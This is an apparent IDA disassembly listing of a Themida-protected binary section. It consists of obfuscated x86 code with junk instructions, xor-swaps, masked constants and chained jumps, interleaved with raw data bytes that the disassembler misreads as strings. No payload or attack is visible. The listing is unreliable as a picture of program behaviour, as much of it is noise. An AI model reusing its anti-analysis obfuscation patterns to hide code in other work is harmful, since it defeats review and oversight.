		dd 0E9240489h, 0FFFFE2CFh
; ---------------------------------------------------------------------------


loc_5879F4:				; CODE XREF: Themida_:0058FEEBj
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, 7481451h
		jmp	loc_58E22E
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 3C875AD7h,	0A0E95C24h, 81FFFFE2h, 4C4h, 0F6EA8100h
		dd 13BE623h, 0C3815AD3h, 2, 82FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_587A3D:				; CODE XREF: Themida_:00590B58j
		push	dword ptr [edi+eax*4]
		jmp	loc_58F05D
; ---------------------------------------------------------------------------
		db 58h,	9, 77h
		dd 24348B1Ch, 2A0668h, 24348900h, 0C681E689h, 4, 6807E9h
		dd 24343100h, 31243433h, 0CE872434h, 9C42E9h, 0C8B6600h
		dd 2C48324h, 4D4BE952h,	0C3810000h, 4, 0FE3DE953h, 0C481FFFFh
		dd 4, 56C9E281h, 0EAC15F49h, 7DDBE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587A9E:				; CODE XREF: Themida_:0058D65Dj
		push	edi
		push	esi
		mov	esi, 3FBD319Bh
		xor	esi, 6D5353B6h
		mov	edi, esi
		pop	esi
		mov	ebx, edi
		pop	edi
		push	esi
		push	ebx
		push	eax
		mov	eax, 0B2D285Bh
		jmp	loc_58B05D
; ---------------------------------------------------------------------------
		dw 585Dh
		dd 835FF901h, 0C3304E9h, 240C3124h, 8B240C33h, 14892424h
		dd 0E99C5024h, 0FFFFE1E7h, 4C481h, 48F0000h, 8B665C24h
		dd 0EC832404h, 9049E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587AF2:				; CODE XREF: Themida_:0058AF25j
		mov	esp, [esp]
		movzx	cx, al
		push	small 1FCEh
		mov	[esp], cx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
aZsic		db 'Zéë–',0
		align 4
		dd 0D7B25251h, 0C2FEE2D0h, 0E94CCA80h, 8CCFh, 9D2B30BBh
		dd 14CB8170h, 4B3BDC4Ah, 2E97E9h, 4C38300h, 9FCDE9h, 4EC8300h
		dd 0BA241489h, 4, 0FFFD9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_587B45:				; CODE XREF: Themida_:00587538j
		pop	edx
		shl	edx, 7
		push	ebp
		mov	ebp, esp
		jmp	loc_58A698
; ---------------------------------------------------------------------------
aAigypiItxQseb	db '€ëGYPˆÜˆâX[Qéeb',0
		align 2
aWh		db '^WhÄ"',0
		dd 242C8900h, 45655468h, 0F1E95D13h, 89000000h,	4EC81E5h
		dd 89000000h, 3BBF243Ch, 0F7319A5Ah, 1C781D7h, 4F000000h
		dd 281EF781h, 8EE96BE9h, 2C00006Dh, 8BC1003Eh, 0C4812404h
		dd 4, 0E97FC180h, 282Ah
; ---------------------------------------------------------------------------


loc_587BB0:				; CODE XREF: Themida_:0058F445j
		pop	eax
		add	esp, 4
		sub	eax, 7EC34158h
		push	5D31h
		jmp	loc_58754A
; ---------------------------------------------------------------------------
		dw 5150h
		dd 0C181E189h, 4, 4E981h, 0C330000h, 240C3124h,	8B240C33h
		dd 24892424h, 24048324h, 4055804h, 5000000h, 4,	0F49BE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_587BFA:				; CODE XREF: Themida_:005910D3j
		dec	ebx
		jmp	loc_5892B7
; ---------------------------------------------------------------------------
dword_587C00	dd 24048B66h, 4EC81h, 4890000h,	0F316824h, 74E90000h
					; DATA XREF: Themida_:00585C58o
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_587C17:				; CODE XREF: Themida_:0058A6CFj
		add	al, 4Fh
		push	dword ptr [esp]
		jmp	loc_58C02B
; ---------------------------------------------------------------------------
aOsW		db '³oéßw',0
		align 4
		dd 4C581h, 0C5830000h, 242C3304h, 33242C31h, 505C242Ch
		dd 0BEE9E089h, 81FFFFEBh, 0E8271CEDh, 81DD0139h, 0E8271CC5h
		dd 0FF555B39h, 5D042474h, 0E924048Fh, 4205h, 0E952575Bh
		dd 2802h, 4EC81h, 4890000h, 5E08924h, 4, 42Dh, 24048700h
		dd 0FFE37CE9h, 58C301FFh, 2625E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587C8E:				; CODE XREF: Themida_:0058E4ECj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
aUsna		db 'Uéna',0
		db 0
; ---------------------------------------------------------------------------


loc_587C99:				; CODE XREF: Themida_:0058EBBFj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		imul	cl
		movzx	cx, ah
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_586C72
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28100h, 87000000h, 4D5C2414h, 0B473BF57h, 0ED81D2AAh
		dd 29C76F8h, 0BA52FD01h, 1E3D6F2Bh, 0CA81DAF7h,	778E3C44h
		dd 0CA2DF281h, 0E9E9F552h, 68000093h, 30B40B08h, 5EEF815Fh
		dd 892321F8h, 6FCDE9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587D02:				; CODE XREF: Themida_:0058F09Cj
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	eax
		push	52F17C62h
		pop	eax
		inc	eax
		sub	eax, 35102DFh
		push	edx
		jmp	loc_590702
; ---------------------------------------------------------------------------


loc_587D1C:				; CODE XREF: Themida_:00589AA6j
		push	esi
		mov	esi, 27571EC6h
		and	esi, 3195118h
		sub	esi, 540C1108h
		xor	esi, 0AF04FEFCh
		add	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_58968A
; ---------------------------------------------------------------------------
aBa		db 'í;',7,0
		db 78h,	5Fh, 51h
		dd 0A40108B9h, 0BEE18108h, 0D1453647h, 30E981E9h, 8168807Ch
		dd 6E7BAEC1h, 1AED8168h, 0E93F516Bh, 8D2Eh, 2896664h, 0FFDF46E9h
		dd 2454F6FFh, 3A6E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587D86:				; CODE XREF: Themida_:0058FA8Bj
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, 4
		jmp	loc_58E4BB
; ---------------------------------------------------------------------------


loc_587D9C:				; CODE XREF: Themida_:0058D843j
		mov	[esp], ecx
		jmp	loc_59047F
; ---------------------------------------------------------------------------


loc_587DA4:				; CODE XREF: Themida_:0058AF7Aj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_588171
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58D0F7
; ---------------------------------------------------------------------------


loc_587DC1:				; CODE XREF: Themida_:0058FEAAj
		add	ecx, edx
		add	dword ptr [ecx], 1
		pop	ecx
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_5913A9
; ---------------------------------------------------------------------------
		dd 3B9EE981h, 0C801AE05h, 57240C8Bh, 160E9h, 53EEBB00h
		dd 0D8290965h, 946CE9h
		db 0
byte_587DF1	db 66h,	8Fh, 2		; DATA XREF: Themida_:00585BA8o
		dd 0FFDECAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_587DF9:				; CODE XREF: Themida_:00589F94j
		inc	ecx
		neg	ecx
		shl	ecx, 5
		jmp	loc_590141
; ---------------------------------------------------------------------------
		dd 4C481h, 0C9810000h, 55CE43E7h, 99F7E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587E16:				; CODE XREF: Themida_:0058B6A0j
		pop	esp
		movzx	ecx, ax
		push	3DC5h
		jmp	loc_59063F
; ---------------------------------------------------------------------------
		dd 5D36BB53h, 0BA527D69h, 7F774E22h, 565AD301h,	4EC81h
		dd 7BE90000h, 5C00007Dh, 68E08950h, 33D3h, 0BE243489h
		dd 15BB4B3Bh, 1608E9h, 24248900h, 4240483h, 25E9575Ah
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587E63:				; CODE XREF: Themida_:0058772Bj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58BEF2
; ---------------------------------------------------------------------------
aX0ss		db '(ÅX0èé»',1Bh,0
		align 4
		dd 4BB535Ch, 1000000h, 241C8BD9h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 835C240Ch, 0FCE902C1h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_587E9F:				; CODE XREF: Themida_:00585E67j
		push	2F3Fh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
aUjPr7uuZh	db '^-UjÓpRº7uu{)ÐZh½>',0
		align 2
		dw 1C89h
		dd 0DD685224h, 5A3A9117h, 6225BF57h, 0FB899D9Eh, 0FFE98DE9h
		dd 0B9515FFFh, 4, 0FFF4B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_587EE5:				; CODE XREF: Themida_:0058C58Fj
		push	2EFh
		mov	[esp], ebx
		push	edx
		mov	edx, 1D8635A9h
		neg	edx
		sub	edx, 0E279CA53h
		mov	ebx, edx
		jmp	loc_58E67D
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0E904EA83h, 447h
; ---------------------------------------------------------------------------


loc_587F10:				; CODE XREF: Themida_:00588519j
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_58EEB8
; ---------------------------------------------------------------------------
		db 81h
		dd 410C9CC1h, 0C875F45h, 6A4CE924h
		db 2 dup(0)
word_587F2A	dw 34FFh		; DATA XREF: Themida_:00585A9Co
		dd 24048B24h, 0E904C483h, 6053h, 81664566h, 573F27C5h
		dd 6C84E9h, 81E78900h, 4C7h, 4C78100h, 87000000h, 575C243Ch
		dd 60FDE9h, 8BC22900h, 0C4832404h, 17B85004h, 4057FA56h
		dd 8A175205h, 6E8C1E0h,	8E6BE9h
		db 0
byte_587F79	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585A54o
aSsyt		db '$SéY’',0
		dw 8100h
		dd 237492F5h, 713AE979h, 0FB010000h, 6338EB81h,	3C8B2475h
		dd 4C48324h, 2474FF53h,	73C3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587FA6:				; CODE XREF: Themida_:00586B4Cj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58C040
; ---------------------------------------------------------------------------


loc_587FAF:				; CODE XREF: Themida_:00589EFBj
		mov	eax, esp
		add	eax, 4
		jmp	loc_588B90
; ---------------------------------------------------------------------------
aRs		db 'Ré~,',0
		dd 2C08300h, 71F1E9h, 2474FF00h, 848CE904h
		db 2 dup(0)
word_587FD2	dw 8B66h		; DATA XREF: Themida_:00585B60o
		dd 0DAE9240Ch, 52000035h, 0EA5CC4BAh, 2083E94Dh, 4B80000h
		dd 56000000h, 4C71BFBEh, 0E9F70177h, 3954h, 360FE956h
		dd 2C330000h, 53525C24h, 1F226852h, 0FBE97C1Ah,	5900008Dh
		dd 4C7815Fh, 81000000h,	2C7h, 243C3300h, 33243C31h, 49E9243Ch
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58802B:				; CODE XREF: Themida_:0058F741j
		shr	ecx, 7
		push	2C94h
		jmp	loc_590659
; ---------------------------------------------------------------------------
		dd 6F35E8D1h, 51637E3Bh, 89C68956h, 24348BF1h, 4C481h
		dd 0CE890000h, 2434FF59h, 4C48358h, 7BE9h, 245C0100h, 68B1E904h
		db 2 dup(0)
aMsc		db 'Žc:',0             ; DATA XREF: Themida_:00585BC0o
		align 4
		dd 4C481h, 34FF0000h, 68E95B24h
		db 27h,	2 dup(0)
aNs9d		db '­é9„',0             ; DATA XREF: Themida_:00585C50o
		dd 24740100h, 56585E04h, 468h, 0AA055E00h, 1496919h, 91EFE9F0h
		dd 0EF810000h, 3BC41F83h, 8124348Bh, 4C4h, 81F70100h, 9779EEEFh
		dd 0C7835E37h, 243C8702h, 2824248Bh, 0E99C2404h, 0FFFFDBFFh
; ---------------------------------------------------------------------------


loc_5880C4:				; CODE XREF: Themida_:0058AA5Cj
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		jmp	loc_58A6D4
; ---------------------------------------------------------------------------
		dd 0E6076C2Dh, 0E9F0016Eh, 313Dh, 33241C31h, 895C241Ch
		dd 0E6892434h, 65A56850h, 0E95863E4h, 2378h
; ---------------------------------------------------------------------------


loc_5880FC:				; CODE XREF: Themida_:0058E0E8j
		push	ebx
		mov	ebx, 303F7127h
		shl	ebx, 4
		shr	ebx, 7
		jmp	loc_588CD1
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 56h
		dd 1C3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_588115:				; CODE XREF: Themida_:00590D0Ej
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, edi
		jmp	loc_586CA7
; ---------------------------------------------------------------------------


loc_588124:				; CODE XREF: Themida_:005879AFj
		xchg	ebp, [esp]
		jmp	loc_590530
; ---------------------------------------------------------------------------
		dd 241C8B66h, 0F602C483h, 0B15166D7h, 66CF0086h, 28950459h
		dd 0E9952CF8h, 4A3Eh
; ---------------------------------------------------------------------------


loc_588148:				; CODE XREF: Themida_:0058BAE9j
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		mov	edx, 16830ABCh
		xor	edx, 16830AB8h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp


loc_588171:				; CODE XREF: Themida_:00587DA8j
					; Themida_:0058AF8Bj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_58E5E3
; ---------------------------------------------------------------------------
		db 58h
		dd 2EBB951h, 0C18135DCh, 1, 6965E9h
		db 0
byte_588195	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585B30o
		dd 4EC8324h, 89241C89h,	4C381E3h, 56000000h, 2BEh, 36C38100h
		dd 8103854Ah, 0B27202C3h, 73EB8158h, 10D5009h, 73C381F3h
		dd 500D5009h, 0B27202B8h, 3BEB8158h, 296E3E39h,	3BC381C3h
		dd 586E3E39h, 4A36EB81h, 348B0385h, 4C48324h, 31241C33h
		dd 1C33241Ch, 24248B24h, 2D97E9h, 4C48300h, 8704C583h
		dd 248B242Ch, 24040124h, 0DAB5E99Ch, 0F8BBFFFFh, 2D18540Dh
		dd 32A57799h, 4ABA52h, 0DAF71518h, 0FFDD19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_588225:				; CODE XREF: Themida_:0058A843j
		add	ebp, 57B07126h
		jmp	loc_58A5DB
; ---------------------------------------------------------------------------
aAse_		db 'AéE_',0
		align 2
		dw 895Ch
		dd 0E2892414h, 4C281h, 0C2810000h, 4, 2474FF52h, 48F5A04h
		dd 24248B24h, 0FFDA6AE9h, 15D468FFh, 34890000h,	228ABE24h
		dd 0FEE95FDEh, 68000028h, 75674D23h, 0B9DE9h, 6D3EBB00h
		dd 0E94B7D20h, 4267h, 42DAE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588286:				; CODE XREF: Themida_:00590583j
		pop	esp
		jmp	loc_5915AB
; ---------------------------------------------------------------------------
		dd 5062CD81h, 0D5F701A4h, 27F3E9h, 246C0100h, 0E6E95D04h
		dd 5D000005h, 0E62DD801h, 5247E942h, 0FFF058E9h, 5AD300FFh
		dd 0E9D4EB80h, 6DA9h
; ---------------------------------------------------------------------------


loc_5882BC:				; CODE XREF: Themida_:0058AA40j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_58DB08
; ---------------------------------------------------------------------------
aUsU		db 9,'îé=u',0
		dd 70D56800h, 14890000h, 5D68BA24h, 0E2815186h,	0DC02045h
		dd 24F3C281h, 41E96919h, 88000010h, 0FA2858E7h,	22045B66h
		dd 222CD000h, 8324148Bh, 0B65204C4h, 0FFC68064h, 0E9DCEE80h
		dd 63C6h, 35E9FB09h, 59000049h,	8909E9h
		db 0
; ---------------------------------------------------------------------------


loc_588325:				; CODE XREF: Themida_:0058AFD5j
		dec	eax
		push	edi
		mov	edi, 596D6A49h
		not	edi
		jmp	loc_58E15D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 1FAAE9h, 0E94E5A00h,	2523h, 34D0EF81h, 0FE01D108h, 81243C8Bh
		dd 4C4h, 59E95500h, 87000013h, 0E1E92414h
		db 77h,	2 dup(0)
byte_58835F	db 66h			; DATA XREF: Themida_:00585B18o
		dd 68240C8Bh, 7A0Ah, 89243C89h,	336855E7h, 0E94C3A1Fh
		dd 1D8Fh, 5C0168h, 242C8900h, 242C8B54h, 4C481h, 28680000h
		dd 8900007Fh, 4BF243Ch,	0E9000000h, 9347h, 5C24048Fh, 774568h
		dd 24148900h, 42E9E289h, 0F6000097h, 1C480D4h, 6D15E9h
		dd 1AFDBB00h, 0BF572327h, 4D7D5203h, 8105E7C1h,	6D6714F7h
		dd 30CF8169h, 47672222h, 0E9FFC783h, 8C12h
dword_5883DC	dd 24048B66h, 1C8B5453h, 0E3895324h, 4C381h, 0C3830000h
					; DATA XREF: Themida_:00585B78o
		dd 82A8E904h, 89560000h, 4C681E6h, 55000000h, 0D02C96BDh
		dd 0A5ED814Bh, 0C122300Ah, 0E5C104EDh, 42BCE907h, 0CEFE0000h
		dd 0FFEE24E9h
		db 0FFh
byte_58841D	db 0ACh, 0E9h, 4Eh	; DATA XREF: Themida_:00585ACCo
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_588423:				; CODE XREF: Themida_:00589B65j
		xor	eax, 5D3402DAh
		mov	esi, [esp]
		add	esp, 4
		push	168Bh
		mov	[esp], ebx
		jmp	loc_590E3E
; ---------------------------------------------------------------------------
		db 1
aSs8		db 'Ùés8',0
		align 2
word_588442	dw 8B66h		; DATA XREF: Themida_:00585A50o
		dd 3DE92404h, 8300000Dh, 0FF5704C7h, 5F042474h,	5C24048Fh
		dd 3C4968h, 24348900h, 0C7B85053h, 310C8545h, 0E9042444h
		dd 71FDh, 5158C301h, 0DC6214B9h, 810E905h, 0E9590000h
		dd 0FFFFFDD5h, 458E728h, 2CF82808h, 241C8B08h, 20DE9h
		dd 0E9515C00h, 7C46h, 8904EC83h, 4832424h, 7CE90424h, 33000055h
		dd 0C31240Ch, 240C3324h, 871EE9h, 0B2525900h, 3AEA8085h
		dd 5AD328h, 651AE9C3h, 0EDB60000h, 8D31E9h, 240C8900h
		dd 0E957E189h, 4444h, 1BE9F800h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5884E3:				; CODE XREF: Themida_:0058EE0Aj
		mov	ecx, 4DD944C4h
		sub	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_588C33
; ---------------------------------------------------------------------------


loc_5884FB:				; CODE XREF: Themida_:0058FCF7j
		mov	[esp], eax
		mov	eax, esp
		push	0A90h
		jmp	loc_586010
; ---------------------------------------------------------------------------


loc_58850A:				; CODE XREF: Themida_:0058A046j
		pop	ecx
		mov	dx, [esp]
		jmp	loc_5890D8
; ---------------------------------------------------------------------------


loc_588514:				; CODE XREF: Themida_:00590F49j
		add	esp, 4
		and	eax, edi
		jmp	loc_587F10
; ---------------------------------------------------------------------------
		dw 3D2Ch
		dd 0D8001604h, 3D04162Ch, 53241C8Bh, 0E951E389h, 7C95h
		dd 5C241487h, 4EC81h, 2C890000h, 16824h, 34FF0000h, 0E9575D24h
		dd 0FFFFE5D2h, 8702C183h, 815C240Ch, 4ECh, 24148900h, 0D0009BB2h
		dd 0E8DBE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58856A:				; CODE XREF: Themida_:0058F95Aj
		sub	ebp, 4
		jmp	loc_58D297
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 9DBB535Ah,	0F7625D7Eh, 396E9DBh, 0EA810000h
		dd 1D034B8Dh, 0FE5BB53h, 0DA2968E0h, 5B2434FFh,	83EDE9h
		dd 20B800h, 0F8010000h,	1D883081h, 48B2A98h, 4C48124h
		dd 68000000h, 4AB6h, 0FFE158E9h, 24048FFFh, 0C8B60F5Ch
		dd 5D5AE956h, 3C8B0000h, 4C48324h, 0E904C483h, 7989h, 9C240CFEh
		dd 0FFD6DEE9h, 243C8BFFh, 0E904C483h, 47CAh
; ---------------------------------------------------------------------------


loc_5885F0:				; CODE XREF: Themida_:0058E49Cj
		xor	eax, 7F7DC918h
		push	eax
		pop	dword ptr [edx+38h]
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_590A1D
; ---------------------------------------------------------------------------


loc_588603:				; CODE XREF: Themida_:00590564j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58D173
; ---------------------------------------------------------------------------


loc_588621:				; CODE XREF: Themida_:0058EA80j
		mov	[esp], esi
		mov	esi, 40h
		push	esi
		xor	dword ptr [esp], 6683A51h
		pop	edx
		xor	edx, 6683A51h
		mov	esi, [esp]
		push	6F3Bh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	ecx, edx
		jmp	loc_58D2D7
; ---------------------------------------------------------------------------
aZsD		db 'Zé',27h,'„',0
		align 2
		dw 0BE56h
		dd 32D4433Bh, 0FFE9A0E9h, 4C481FFh, 89000000h, 2434FFFEh
		dd 4C4815Fh, 0E9000000h, 2666h
; ---------------------------------------------------------------------------


loc_588684:				; CODE XREF: Themida_:0058BFE6j
		sub	ecx, edx
		xchg	ecx, edx
		jmp	loc_585F18
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0D9h
		dd 0C11AC004h, 0E7E907EFh, 0FF000060h, 0D621E930h, 0C483FFFFh
		dd 2E95304h, 83000021h
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_585DE6
; ---------------------------------------------------------------------------


loc_5886C8:				; CODE XREF: Themida_:00589EF2j
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	6344h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	edi
		jmp	loc_58B6B9
; ---------------------------------------------------------------------------
aYsfz		db 'Y锇',0
		dw 2D00h
		dd 54C737E5h, 0A5E9D029h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588707:				; CODE XREF: Themida_:0058DC0Cj
		push	esi
		jmp	loc_590CE0
; ---------------------------------------------------------------------------
byte_58870D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585A60o
aQishT		db '$Q‰áh¸t',0
		dd 242C8900h, 4BDh, 0ADE98100h,	0E927A842h, 0FFFFF20Ch
		dd 8B28C181h, 0EE81CC0Bh, 1CCC4D1Dh, 0C681CE29h, 1CCC4D1Dh
		dd 0E5D5E959h, 0EAC1FFFFh, 6219E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58874E:				; CODE XREF: Themida_:0058C5FCj
		push	dword ptr [esp]
		jmp	loc_58AE91
; ---------------------------------------------------------------------------
word_588756	dw 8B66h		; DATA XREF: Themida_:00585A64o
		dd 56E92404h, 57000083h, 0FFED66E9h, 29E95EFFh
		db 25h,	2 dup(0)
aRsV		db 'Ré;v',0             ; DATA XREF: Themida_:00585AA4o
		dd 2EC8100h, 66000000h,	0B1240C89h, 0B15166D9h,	0E9C828B4h
		dd 25ACh, 70D1BE56h, 0EEC11772h, 0DAC68105h, 0C1605347h
		dd 0EEC106EEh, 51E68102h, 813F5408h, 0BE0229EEh, 0E9F309D3h
		dd 119Fh, 54C6E981h, 0C181498Fh, 14532A54h, 4C1835Dh, 8904EC83h
		dd 84E9240Ch, 0B8000042h, 1B9543E5h, 0E958C731h, 6492h
		dd 0E9241489h, 145Ah, 0ACDFED81h, 0E831B2A4h, 7B8FE9h
		dd 13F78000h, 0C780CFFEh, 3EF780C0h, 3494B050h,	451345Ch
		dd 0E6041Fh, 7CE958C7h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58880B:				; CODE XREF: Themida_:0058E4C5j
		shr	ecx, 2
		jmp	loc_58D006
; ---------------------------------------------------------------------------


loc_588813:				; CODE XREF: Themida_:0058BF25j
		push	147Ah
		jmp	loc_58A122
; ---------------------------------------------------------------------------
		align 2
		dw 66D3h
		dd 8124148Bh, 2C4h, 9DC38000h, 0FFF183E9h, 0E08950FFh
		dd 405h, 74BEE900h, 0C5810000h,	8140CC46h, 38E9EF29h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58884B:				; CODE XREF: Themida_:0058742Aj
		mov	[esp], edx
		mov	edx, 300F05ECh
		jmp	loc_589391
; ---------------------------------------------------------------------------


loc_588858:				; CODE XREF: Themida_:0058FF7Ej
		add	ebp, 37BF479Ah
		sub	ebp, edx
		sub	ebp, 37BF479Ah
		jmp	loc_58A074
; ---------------------------------------------------------------------------
		db 59h
		dd 0EE4FE95Fh, 1A68FFFFh, 0FF47DF31h, 48B2434h,	4C48124h
		dd 53000000h, 5F4AE9h, 7FBB5300h, 294AD609h, 5B04245Ch
		dd 68240401h, 5F3Dh, 0BF243C89h, 4AD6097Fh, 0CFCE9h, 4316600h
		dd 9BE99C24h, 81000037h, 4ECh, 24348900h, 532385BEh, 93E95239h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5888C7:				; CODE XREF: Themida_:0058C02Ej
		pop	edx
		push	ebx
		jmp	loc_591A13
; ---------------------------------------------------------------------------


loc_5888CE:				; CODE XREF: Themida_:005905BBj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_586C63
; ---------------------------------------------------------------------------
		dw 0C89h
aVsze		db '$VéZe',0
		dw 2C00h
		dd 0B55166E3h, 0E9E8280Fh, 0D88h, 6EFC147h, 0F5F2F781h
		dd 0FE214B52h, 3110E9h,	4BE00h,	0EA810000h, 628C373Eh
		dd 0BE56F201h, 628C373Eh, 8B5EF201h, 0E9502434h, 55DEh
		dd 1985E381h, 0E3C15515h, 44F38106h, 1400040h, 9685BDAh
		dd 8900004Ch, 4BF243Ch,	81000000h, 951355C2h, 81FA0169h
		dd 951355EAh, 2434FF69h, 4C4835Fh, 31241433h, 14332414h
		dd 3962E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588962:				; CODE XREF: Themida_:0058DA8Aj
		mov	esi, 384A5986h
		mov	ebp, esi
		pop	esi
		xchg	esi, ebp
		jmp	loc_5866D2
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 781EE9h, 81DAF700h, 0FFE0CF2h, 8BD501BDh, 0C4832414h
		dd 81F52904h, 647556EDh, 74C58175h, 0FF3EAF25h,	815E2434h
		dd 4C4h, 0E9D5F700h, 5448h
; ---------------------------------------------------------------------------


loc_5889A8:				; CODE XREF: Themida_:0059154Ej
		or	eax, eax
		jz	loc_590207
		push	4458h
		mov	[esp], ecx
		mov	ecx, 4E251831h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, 33DC7326h
		xor	ecx, eax
		pop	eax
		not	ecx
		jmp	loc_58AA7B
; ---------------------------------------------------------------------------
		dw 0A4B8h
		dd 31501415h, 0DD0158C3h, 76A0E9h, 81CF0100h, 0A64E9DEFh
		dd 91E9597Dh, 59FFFFD8h, 61DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5889F5:				; CODE XREF: Themida_:0058EC9Dj
		and	ebp, 662534E5h
		shr	ebp, 2
		neg	ebp
		xor	ebp, 786365BAh
		sub	ebp, 6F76018Eh
		add	esi, ebp
		jmp	loc_58E8FA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 2404875Ch, 6FD1E95Ch, 8B540000h, 0C4832414h
		dd 4C28104h, 55000000h,	6F32E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588A3A:				; CODE XREF: Themida_:0058ACD5j
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, ebx
		push	esi
		push	ebx
		jmp	loc_59116C
; ---------------------------------------------------------------------------


loc_588A64:				; CODE XREF: Themida_:0058D10Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	cx
		mov	cl, 0ACh
		mov	dl, cl
		pop	cx
		jmp	loc_590562
; ---------------------------------------------------------------------------
		dd 3E28B850h, 2D401A1Bh, 4B525E09h, 0EA6BBF57h,	69E98F6Dh
		dd 8100003Ch, 410C9CE9h, 0B4E98145h, 0E943A57Bh, 3D31h
		dd 2474FF56h, 24348B04h, 8F04C483h, 248B2404h, 240C8924h
		dd 5A0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_588AC5:				; CODE XREF: Themida_:005913B4j
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
